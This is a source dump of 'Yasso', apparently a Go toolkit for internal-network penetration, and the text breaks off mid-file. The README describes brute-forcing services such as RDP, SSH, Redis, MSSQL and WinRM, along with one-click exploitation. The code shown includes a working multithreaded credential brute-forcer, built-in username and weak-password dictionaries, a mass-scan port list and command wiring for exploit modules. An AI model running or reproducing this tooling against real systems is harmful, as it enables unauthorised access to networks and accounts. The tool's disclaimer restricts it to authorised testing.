├── .idea
├── Yasso.iml
├── modules.xml
├── vcs.xml
└── workspace.xml
├── README.md
├── cmd
└── cmd.go
├── config
├── banner
│ └── banner.go
├── config.go
└── rules.go
├── core
├── brute
│ └── brute.go
├── flag
│ └── flag.go
├── logger
│ └── logger.go
├── parse
│ ├── parse_ip.go
│ └── parse_port.go
├── plugin
│ ├── all.go
│ ├── brute.go
│ ├── dcerpc.go
│ ├── eternalblue.go
│ ├── ftp.go
│ ├── grdp.go
│ ├── icmp.go
│ ├── memcache.go
│ ├── mongo.go
│ ├── mssql.go
│ ├── mysql.go
│ ├── nbns_test.go
│ ├── nbnsscan.go
│ ├── oxidscan.go
│ ├── postgres.go
│ ├── ps.go
│ ├── redis.go
│ ├── rmi.go
│ ├── smb.go
│ ├── smbghost.go
│ ├── smbscan.go
│ ├── ssh.go
│ ├── winrm.go
│ └── zookeeper.go
└── utils
│ └── utils.go
├── example.txt
├── example
├── tcp_smb_test.go
└── tcp_ssh_test.go
├── go.mod
├── go.sum
├── main.go
├── pkg
├── exploit
│ ├── config
│ │ ├── config.go
│ │ └── tools.go
│ ├── exploit.go
│ ├── ldap
│ │ ├── core
│ │ │ ├── filter
│ │ │ │ └── filter.go
│ │ │ └── query
│ │ │ │ ├── flags.go
│ │ │ │ ├── object.go
│ │ │ │ ├── query.go
│ │ │ │ └── resolver.go
│ │ └── ldap.go
│ ├── mssql
│ │ ├── mssql.go
│ │ └── static
│ │ │ └── SharpSQLKit.txt
│ ├── redis
│ │ ├── redis.go
│ │ └── static
│ │ │ └── exp.so
│ ├── ssh
│ │ └── ssh.go
│ ├── sunlogin
│ │ ├── sunlogin.go
│ │ └── sunlogin_test.go
│ └── winrm
│ │ └── winrm.go
├── grdp
│ ├── LICENSE
│ ├── README.md
│ ├── core
│ │ ├── io.go
│ │ ├── io_test.go
│ │ ├── rle.go
│ │ ├── rle_test.go
│ │ ├── socket.go
│ │ ├── types.go
│ │ └── util.go
│ ├── emission
│ │ └── emitter.go
│ ├── glog
│ │ └── log.go
│ ├── grdp.go
│ ├── grdp_test.go
│ └── protocol
│ │ ├── lic
│ │ └── lic.go
│ │ ├── nla
│ │ ├── cssp.go
│ │ ├── encode.go
│ │ ├── encode_test.go
│ │ ├── ntlm.go
│ │ └── ntlm_test.go
│ │ ├── pdu
│ │ ├── caps.go
│ │ ├── cliprdr.go
│ │ ├── data.go
│ │ └── pdu.go
│ │ ├── rfb
│ │ └── rfb.go
│ │ ├── sec
│ │ └── sec.go
│ │ ├── t125
│ │ ├── ber
│ │ │ └── ber.go
│ │ ├── gcc
│ │ │ └── gcc.go
│ │ ├── mcs.go
│ │ └── per
│ │ │ └── per.go
│ │ ├── tpkt
│ │ └── tpkt.go
│ │ └── x224
│ │ └── x224.go
├── netspy
│ ├── example
│ │ ├── ip_test.go
│ │ └── spy_test.go
│ ├── icmp
│ │ └── icmp.go
│ └── spy
│ │ └── spy.go
├── report
│ └── report.go
└── webscan
│ ├── dismap.go
│ └── http.go
└── result.txt
/.idea/Yasso.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Yasso
2 | 强大的内网渗透辅助工具集-让Yasso像风一样 支持rdp,ssh,redis,postgres,mongodb,mssql,mysql,winrm等服务爆破,快速的端口扫描,强大的web指纹识别,各种内置服务的一键利用(包括ssh完全交互式登录,mssql提权,redis一键利用,mysql数据库查询,winrm横向利用,多种服务利用支持socks5代理执行)
3 |
4 | # 新版功能
5 | 在原基础上更改扫描和爆破方式,去除不必要的功能,代码更加完善和整洁
6 | 增加协议上的识别和端口识别
7 | * 新版并未发布release版本,请自行clone去编译
8 | # 功能
9 | ```
10 | Usage:
11 | Yasso [command]
12 |
13 | Available Commands:
14 | all Use all scanner module (.attention) Traffic is very big
15 | completion Generate the autocompletion script for the specified shell
16 | exploit Exploits to attack the service
17 | help Help about any command
18 | service Detection or blasting services by module
19 |
20 | Flags:
21 | -h, --help help for Yasso
22 | --output string set logger file (default "result.txt")
23 | ```
24 |
25 | - all 一键扫描功能
26 | - exploit 常见服务利用(sqlserver,redis,ssh,向日葵等)
27 | - service 服务爆破和子扫描模块
28 |
29 | 详情请-h参考
30 |
--------------------------------------------------------------------------------
/cmd/cmd.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "Yasso/core/flag"
5 | "Yasso/core/logger"
6 | "os"
7 | )
8 |
9 | func Execute() {
10 | file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
11 | if err != nil {
12 | logger.Fatal("open logger file has an error", err.Error())
13 | return
14 | }
15 | defer file.Close()
16 | flag.Execute()
17 | }
18 |
--------------------------------------------------------------------------------
/config/banner/banner.go:
--------------------------------------------------------------------------------
1 | package banner
2 |
3 | import (
4 | "fmt"
5 | )
6 |
7 | func Banner() {
8 | fmt.Println("_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/")
9 | fmt.Println()
10 | fmt.Println("Refactoring version: Yasso v0.1.6")
11 | fmt.Println("法律免责声明:")
12 | fmt.Println("本工具仅面向合法授权的企业安全建设行为,如果需要测试本工具的可用性,请自行搭建靶场检测")
13 | fmt.Println("在使用本工具时,请确保你的操作符合当地的法律法规,并且获取到足够的授权,请勿对非授权目标使用")
14 | fmt.Println("使用本工具造成的非法行为,你需要自行承担后果,我们不受任何的法律及其连带责任,如果使用本工具,则视为接受本协议")
15 | fmt.Println("Github: github.com/sairson/Yasso")
16 | }
17 |
--------------------------------------------------------------------------------
/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "time"
4 |
5 | // ServiceConn service 连接所需要的结构体
6 | type ServiceConn struct {
7 | Hostname string
8 | Port int
9 | Domain string
10 | Timeout time.Duration
11 | PublicKey string
12 | }
13 |
14 | var UserDict = map[string][]string{
15 | "ftp": {"kali", "ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
16 | "mysql": {"root", "mysql"},
17 | "mssql": {"sa", "sql"},
18 | "smb": {"administrator", "admin", "guest"},
19 | "rdp": {"administrator", "admin", "guest", "Oadmin"},
20 | "winrm": {"administrator", "admin", "guest"},
21 | "postgres": {"postgres", "admin"},
22 | "ssh": {"root", "admin", "kali", "oracle", "www"},
23 | "mongodb": {"root", "admin"},
24 | "redis": {"root"},
25 | }
26 |
27 | var PassDict = []string{"123456", "admin", "admin123", "12312", "pass123", "pass@123", "11", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
28 |
29 | var DefaultScannerPort = []int{21, 22, 25, 53, 69, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 110, 135, 137, 138, 139, 143, 389, 443, 445, 554, 587, 631, 800, 801, 808, 880, 888, 1000, 1024, 1025, 1080, 1099, 1389, 1433, 1521, 2000, 2001, 2222, 2601, 3306, 3307, 3388, 3389, 3443, 5800, 5900, 6379, 7000, 7001, 7007, 7010, 7788, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8030, 8060, 8070, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8161, 8175, 8188, 8189, 8443, 8445, 8448, 8554, 8800, 8848, 8880, 8881, 8888, 8899, 8983, 8989, 9000, 9001, 9002, 9008, 9010, 9043, 9060, 9080, 9081, 9082, 9083, 9084, 9085, 9086, 9087, 9088, 9089, 9090, 9091, 9092, 9093, 9094, 9095, 9096, 9097, 9099, 9443, 9448, 9600, 9628, 9800, 9899, 9981, 9986, 9988, 9998, 9999, 11001, 13443, 15000, 20000, 33890, 45554, 49155, 49156, 50050, 61616}
30 |
31 | var DefaultHeader = map[string]string{
32 | "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
33 | "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
34 | "Cookie": "rememberMe=int",
35 | }
36 |
37 | type Format struct {
38 | Host string `json:"Host,omitempty"` // 主机地址
39 | Port []int `json:"Port,omitempty"`
40 | Service []*Service `json:"Service,omitempty"`
41 | Vulnerability []string `json:"Vulnerability,omitempty"`
42 | }
43 |
44 | type Service struct {
45 | Name string `json:"Name,omitempty"`
46 | Information []string `json:"Information,omitempty"`
47 | WeakPass []map[string]string `json:"WeakPass,omitempty"` // 一个服务可能有好几个口令,所以采用切片类型
48 | }
49 |
50 | var JSONSave []*Format
51 |
--------------------------------------------------------------------------------
/core/brute/brute.go:
--------------------------------------------------------------------------------
1 | package brute
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "fmt"
7 | "math"
8 | "reflect"
9 | "strings"
10 | "sync"
11 | )
12 |
13 | type Brute struct {
14 | user []string // 被枚举的用户名
15 | pass []string // 被枚举的密码
16 | bruteMethod interface{} // 枚举方法
17 | service string // 服务命令
18 | serviceConn config.ServiceConn // 服务连接
19 | thread int // 执行爆破的线程数
20 | output string // 结果输出路径
21 | noBrute bool // 是否执行爆破
22 | }
23 |
24 | func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute {
25 | return &Brute{
26 | user: user,
27 | pass: pass,
28 | bruteMethod: method,
29 | output: output,
30 | service: service,
31 | thread: thread,
32 | serviceConn: serviceConn,
33 | noBrute: noBrute,
34 | }
35 | }
36 |
37 | // RunEnumeration 开始蛮力枚举
38 | func (b *Brute) RunEnumeration() {
39 | if b.noBrute == false {
40 | var wg sync.WaitGroup
41 | if len(b.user) == 0 {
42 | b.user = config.UserDict[b.service] // 获取对应端口的user列表
43 | }
44 | if len(b.pass) == 0 {
45 | b.pass = config.PassDict
46 | }
47 | var t int
48 | if len(b.pass) <= b.thread {
49 | t = len(b.pass)
50 | } else {
51 | t = b.thread
52 | }
53 | // 分割密码
54 | num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量
55 | // 分割用户名
56 | all := map[int][]string{}
57 | for i := 1; i <= t; i++ {
58 | for j := 0; j < num; j++ {
59 | tmp := (i-1)*num + j
60 | if tmp < len(b.pass) {
61 | all[i] = append(all[i], b.pass[tmp])
62 | }
63 | }
64 | }
65 | for i := 1; i <= t; i++ {
66 | wg.Add(1)
67 | tmp := all[i]
68 | go func(tmp []string) {
69 | defer wg.Done()
70 | for _, p := range tmp {
71 | for _, u := range b.user {
72 | // 开始爆破,带有用户名密码的服务
73 | if strings.Contains(p, "{user}") {
74 | p = strings.ReplaceAll(p, "{user}", u)
75 | }
76 | if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) {
77 | return
78 | }
79 | }
80 | }
81 | }(tmp)
82 | }
83 | wg.Wait()
84 | }
85 | }
86 |
87 | // call 函数调用,爆破将会调用该模块去执行操作操作
88 | func (b *Brute) call(params ...interface{}) []reflect.Value {
89 | f := reflect.ValueOf(b.bruteMethod)
90 | if len(params) != f.Type().NumIn() {
91 | logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod))
92 | return nil
93 | }
94 | args := make([]reflect.Value, len(params))
95 | for k, param := range params {
96 | if param == "" || param == 0 {
97 | continue
98 | }
99 | args[k] = reflect.ValueOf(param)
100 | }
101 | return f.Call(args)
102 | }
103 |
104 | // 结果验证
105 | func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool {
106 | var mutex sync.Mutex
107 | for _, value := range v {
108 | switch value.Kind() {
109 | case reflect.Bool:
110 | if value.Bool() == true {
111 | mutex.Lock()
112 | logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service))
113 | logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass})
114 | mutex.Unlock()
115 | return true
116 | }
117 | }
118 | }
119 | return false
120 | }
121 |
--------------------------------------------------------------------------------
/core/flag/flag.go:
--------------------------------------------------------------------------------
1 | package flag
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "Yasso/core/plugin"
6 | "Yasso/pkg/exploit"
7 | "github.com/spf13/cobra"
8 | "os"
9 | "time"
10 | )
11 |
12 | type allFlags struct {
13 | Hosts string // 全局变量 标识ip列表或文件路径
14 | Ports string // 全局变量 标识扫描的端口
15 | Timeout int // 全局变量 标识超时时间
16 | NoCrack bool // 全局变量 标识all模块是否开启爆破
17 | NoAlive bool // 全局变量 是否采用ping来判断存活主机
18 | User string // 全局变量 标识all模块爆破使用用户名字典
19 | Pass string // 全局变量 标识all模块爆破使用密码字典
20 | Thread int // 全局变量 标识all模块扫描时的线程数
21 | NoService bool // 全局变量 标识all模块是否探测服务
22 | NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫
23 | }
24 |
25 | type BurpFlags struct {
26 | Hosts string // 全局变量,标识ip列表或文件路径
27 | Method string // 爆破的服务名称
28 | User string // 爆破时采用的用户字典
29 | Pass string // 爆破时采用的密码字典
30 | Thread int // 爆破时采用的线程数
31 | Timeout int // 爆破的超时时间
32 | IsAlive bool // 爆破前是否检测存活
33 | }
34 |
35 | var burp BurpFlags
36 | var all allFlags
37 |
38 | var rootCmd = &cobra.Command{
39 | Use: "Yasso",
40 | Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n",
41 | }
42 |
43 | var allCmd = &cobra.Command{
44 | Use: "all",
45 | Short: "Use all scanner module (.attention) Traffic is very big",
46 | Run: func(cmd *cobra.Command, args []string) {
47 | if all.Hosts == "" {
48 | _ = cmd.Help()
49 | return
50 | }
51 | scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan)
52 | scanner.RunEnumeration()
53 | },
54 | }
55 |
56 | var serviceCmd = &cobra.Command{
57 | Use: "service",
58 | Short: "Detection or blasting services by module",
59 | Run: func(cmd *cobra.Command, args []string) {
60 | if burp.Hosts == "" {
61 | _ = cmd.Help()
62 | return
63 | }
64 | plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive)
65 | },
66 | }
67 |
68 | var ExpCmd = &cobra.Command{
69 | Use: "exploit",
70 | Short: "Exploits to attack the service",
71 | Run: func(cmd *cobra.Command, args []string) {
72 | if cmd.HasSubCommands() {
73 | _ = cmd.Help()
74 | }
75 | },
76 | }
77 |
78 | func init() {
79 | rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file")
80 | allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件")
81 | allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
82 | allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000")
83 | allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒")
84 | allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务")
85 | allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活")
86 | allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
87 | allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
88 | allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
89 | allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务")
90 | allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞")
91 | rootCmd.AddCommand(allCmd)
92 | serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
93 | serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)")
94 | serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
95 | serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
96 | serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
97 | serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒")
98 | serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活")
99 | rootCmd.AddCommand(serviceCmd)
100 | rootCmd.AddCommand(ExpCmd)
101 | // 利用模块命令
102 | ExpCmd.AddCommand(exploit.MssqlCmd)
103 | ExpCmd.AddCommand(exploit.SshCmd)
104 | ExpCmd.AddCommand(exploit.WinRmCmd)
105 | ExpCmd.AddCommand(exploit.RedisCmd)
106 | ExpCmd.AddCommand(exploit.SunLoginCmd)
107 | ExpCmd.AddCommand(exploit.LdapReaperCmd)
108 | }
109 |
110 | func Execute() {
111 | if err := rootCmd.Execute(); err != nil {
112 | os.Exit(0)
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/core/logger/logger.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | import (
4 | "Yasso/config"
5 | "encoding/json"
6 | "fmt"
7 | "github.com/gookit/color"
8 | "os"
9 | "sync"
10 | )
11 |
12 | var (
13 | Cyan = color.Cyan.Render
14 | Red = color.Red.Render
15 | LightGreen = color.Style{color.Green, color.OpBold}.Render
16 | LightRed = color.Style{color.Red, color.OpBold}.Render
17 | )
18 |
19 | const (
20 | PortSave = 1
21 | HostSave = 2
22 | WeakPassSave = 3
23 | InformationSave = 4
24 | VulnerabilitySave = 5
25 | )
26 |
27 | var LogFile string
28 | var LogJson string
29 | var mutex sync.Mutex
30 |
31 | func Info(in ...interface{}) {
32 | mutex.Lock()
33 | var all []interface{}
34 | for k, v := range in {
35 | if k == len(in)-1 {
36 | all = append(all, fmt.Sprintf("%v", v))
37 | } else {
38 | all = append(all, fmt.Sprintf("%v ", v))
39 | }
40 | }
41 | fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...))
42 |
43 | file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
44 | if err != nil {
45 | Fatal("open file has an error", err.Error())
46 | return
47 | }
48 | defer file.Close()
49 | _, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n"))
50 | mutex.Unlock()
51 | }
52 |
53 | func Success(in ...interface{}) {
54 | mutex.Lock()
55 | var all []interface{}
56 | for k, v := range in {
57 | if k == len(in)-1 {
58 | all = append(all, fmt.Sprintf("%v", v))
59 | } else {
60 | all = append(all, fmt.Sprintf("%v ", v))
61 | }
62 | }
63 | fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...))
64 |
65 | file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
66 | if err != nil {
67 | Fatal("open file has an error", err.Error())
68 | return
69 | }
70 | defer file.Close()
71 | _, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n"))
72 | mutex.Unlock()
73 | }
74 |
75 | func Fatal(in ...interface{}) {
76 | var all []interface{}
77 | for k, v := range in {
78 | if k == len(in)-1 {
79 | all = append(all, fmt.Sprintf("%v", v))
80 | } else {
81 | all = append(all, fmt.Sprintf("%v ", v))
82 | }
83 | }
84 | fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...))
85 | }
86 |
87 | // JSONSave 保存json格式数据
88 | func JSONSave(host string, t int, in ...interface{}) {
89 | if LogJson != "" {
90 | switch t {
91 | case VulnerabilitySave:
92 | for _, v := range config.JSONSave {
93 | // 服务存在
94 | if v.Host == host {
95 | v.Vulnerability = append(v.Vulnerability, in[0].(string))
96 | }
97 | }
98 | case PortSave:
99 | // 端口存储
100 | var flag = false
101 | for _, v := range config.JSONSave {
102 | // 服务存在
103 | if v.Host == host {
104 | v.Port = in[0].([]int) // 将端口存储
105 | flag = true
106 | }
107 | }
108 | if flag == false {
109 | config.JSONSave = append(config.JSONSave, &config.Format{
110 | Host: host,
111 | })
112 | for _, v := range config.JSONSave {
113 | // 服务存在
114 | if v.Host == host {
115 | v.Port = in[0].([]int) // 将端口存储
116 | flag = true
117 | }
118 | }
119 | }
120 | case HostSave:
121 | // 主机存储
122 | config.JSONSave = append(config.JSONSave, &config.Format{
123 | Host: host,
124 | })
125 | case WeakPassSave:
126 | // 这里存储json的服务弱口令
127 | for _, v := range config.JSONSave {
128 | // 服务名称已经有了,那么将口令加到它的WeakPass种
129 | // 如果主机之前也是存活的
130 | if v.Host == host {
131 | // 遍历主机的服务列表
132 | var flag = false
133 | for _, value := range v.Service {
134 | if value.Name == in[0].(string) { // 服务名
135 | value.WeakPass = append(value.WeakPass, in[1].(map[string]string))
136 | flag = true // 证明服务存在
137 | }
138 | }
139 | // 证明host存在
140 | if flag == false {
141 | v.Service = append(v.Service, &config.Service{
142 | Name: in[0].(string), //服务名
143 | WeakPass: []map[string]string{in[1].(map[string]string)},
144 | })
145 | }
146 | // 证明host存在
147 | if flag == false {
148 | v.Service = append(v.Service, &config.Service{
149 | Name: in[0].(string), //服务名
150 | WeakPass: []map[string]string{in[1].(map[string]string)},
151 | })
152 | }
153 | }
154 | }
155 | case 4:
156 | // 这里information字段
157 | for _, v := range config.JSONSave {
158 | // 服务名称已经有了,那么将口令加到它的WeakPass种
159 | // 如果主机之前也是存活的
160 | if v.Host == host {
161 | // 遍历主机的服务列表
162 | var flag = false
163 | for _, value := range v.Service {
164 | if value.Name == in[0].(string) { // 服务名
165 | value.Information = append(value.Information, in[1].(string))
166 | flag = true // 证明服务存在
167 | }
168 | }
169 | // 证明host存在
170 | if flag == false {
171 | v.Service = append(v.Service, &config.Service{
172 | Name: in[0].(string), //服务名
173 | Information: []string{in[1].(string)},
174 | })
175 | }
176 | }
177 | }
178 | }
179 | // 将以json格式保存,文件将会保存全局变量存储的结果集
180 | }
181 | }
182 |
183 | func LoggerSave() {
184 | if LogJson != "" {
185 | body, err := json.Marshal(config.JSONSave)
186 | if err != nil {
187 | Fatal("save json marshal failed", err.Error())
188 | return
189 | }
190 | filePtr, err := os.Create(LogJson)
191 | if err != nil {
192 | fmt.Println("文件创建失败", err.Error())
193 | return
194 | }
195 | defer filePtr.Close()
196 | // 创建Json编码器
197 | _, _ = filePtr.Write(body)
198 | }
199 | }
200 |
--------------------------------------------------------------------------------
/core/parse/parse_ip.go:
--------------------------------------------------------------------------------
1 | package parse
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "bufio"
6 | "errors"
7 | "fmt"
8 | "github.com/projectdiscovery/cdncheck"
9 | "net"
10 | "os"
11 | "path"
12 | "path/filepath"
13 | "regexp"
14 | "sort"
15 | "strconv"
16 | "strings"
17 | "sync"
18 | )
19 |
20 | // ReadFile 从文件中读取数据
21 | func ReadFile(filename string) ([]string, error) {
22 | file, err := os.Open(filename)
23 | if err != nil {
24 | logger.Fatal("open file has an error", err.Error())
25 | return nil, err
26 | }
27 | defer file.Close()
28 | scanner := bufio.NewScanner(file)
29 | scanner.Split(bufio.ScanLines)
30 | var re []string
31 | for scanner.Scan() {
32 | text := strings.TrimSpace(scanner.Text())
33 | if text != "" {
34 | re = append(re, text)
35 | }
36 | }
37 | re = Duplicate(re) // 去重
38 | return re, nil
39 | }
40 |
41 | // ConvertDomainToIpAddress 将域名转换成ip地址
42 | func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) {
43 | checkChan := make(chan string, 100)
44 | var wg sync.WaitGroup
45 | var re []string
46 | for i := 0; i < thread; i++ {
47 | wg.Add(1)
48 | go func() {
49 | defer wg.Done()
50 | for host := range checkChan {
51 | if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 {
52 | // 这种是带有端口的ip地址
53 | re = append(re, host)
54 | continue
55 | }
56 | ip, err := net.LookupHost(host)
57 | if err != nil {
58 | continue
59 | }
60 | if ip != nil {
61 | // 证明存在cdn,直接丢掉即可(不跑带有cdn的域名)
62 | if len(ip) >= 2 {
63 | logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:]))
64 | continue
65 | } else {
66 | for _, i := range ip {
67 | re = append(re, i)
68 | }
69 | }
70 | }
71 | }
72 | }()
73 | }
74 | for _, domain := range domains {
75 | if strings.Contains(domain, "http://") {
76 | domain = strings.TrimPrefix(domain, "http://")
77 | }
78 | if strings.Contains(domain, "https://") {
79 | domain = strings.TrimPrefix(domain, "https://")
80 | }
81 | checkChan <- domain
82 | }
83 | close(checkChan)
84 | wg.Wait()
85 | re = Duplicate(re) // 去重
86 | return re, nil
87 | }
88 |
89 | // cdnFilter cdn过滤器
90 | func cdnFilter(ip string, client *cdncheck.Client) string {
91 | if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
92 | return ip
93 | }
94 | return ""
95 | }
96 |
97 | // Duplicate 去重
98 | func Duplicate(slc []string) []string {
99 | var re []string
100 | temp := map[string]byte{}
101 | for _, v := range slc {
102 | l := len(temp)
103 | temp[v] = 0
104 | if len(temp) != l {
105 | re = append(re, v)
106 | }
107 | }
108 | return re
109 | }
110 |
111 | // RegIpv4Address 匹配ipv4
112 | func RegIpv4Address(context string) string {
113 | matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context)
114 | if err != nil {
115 | return ""
116 | }
117 | if matched {
118 | return context
119 | }
120 | return ""
121 | }
122 |
123 | func HandleIps(ip string) ([]string, error) {
124 | var Unprocessed []string
125 | var err error
126 | var basic []string
127 |
128 | if strings.Contains(ip, ".txt") {
129 | if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" {
130 | // 文件后缀为.txt的话,我们按照文件解析并获取数据结果
131 | Unprocessed, err = ReadFile(ip)
132 | if err != nil {
133 | return []string{}, err
134 | }
135 | }
136 | /*
137 | 这里获取到的数据格式可能为
138 | 192.168.248.1/24
139 | 192.168.248.1-155
140 | www.baidu.com
141 | 192.168.248.1:3389
142 | https://www.baidu.com
143 | */
144 |
145 | // 第一波解析开始,解析ip地址格式
146 | for _, i := range Unprocessed {
147 | switch {
148 | case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1):
149 | temp, err := ConvertIpFormatA(i)
150 | if err != nil {
151 | logger.Fatal("parse ip address has an error", err.Error())
152 | return []string{}, err
153 | }
154 | basic = append(basic, temp...)
155 | case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"):
156 | fmt.Println(i)
157 | temp, err := ConvertIpFormatB(i)
158 | if err != nil {
159 | logger.Fatal("parse ip address has an error", err.Error())
160 | return []string{}, err
161 | }
162 | basic = append(basic, temp...)
163 | case strings.Contains(i, "https://") || strings.Contains(i, "http://"):
164 | if strings.Contains(i, "https://") {
165 | basic = append(basic, strings.ReplaceAll(i, "https://", ""))
166 | }
167 | if strings.Contains(i, "http://") {
168 | basic = append(basic, strings.ReplaceAll(i, "https", ""))
169 | }
170 | default:
171 | basic = append(basic, i)
172 | }
173 | }
174 | // 第一波解析完成,开始第二波解析,解析域名
175 | basic = Duplicate(basic) // 第一次去重
176 | basic, err = ConvertDomainToIpAddress(basic, 100)
177 | if err != nil {
178 | logger.Fatal("parse domain has an error", err.Error())
179 | return nil, err
180 | }
181 | basic = Duplicate(basic) // 第二次去重
182 | } else {
183 | basic, err = ConvertIpFormatAll(ip)
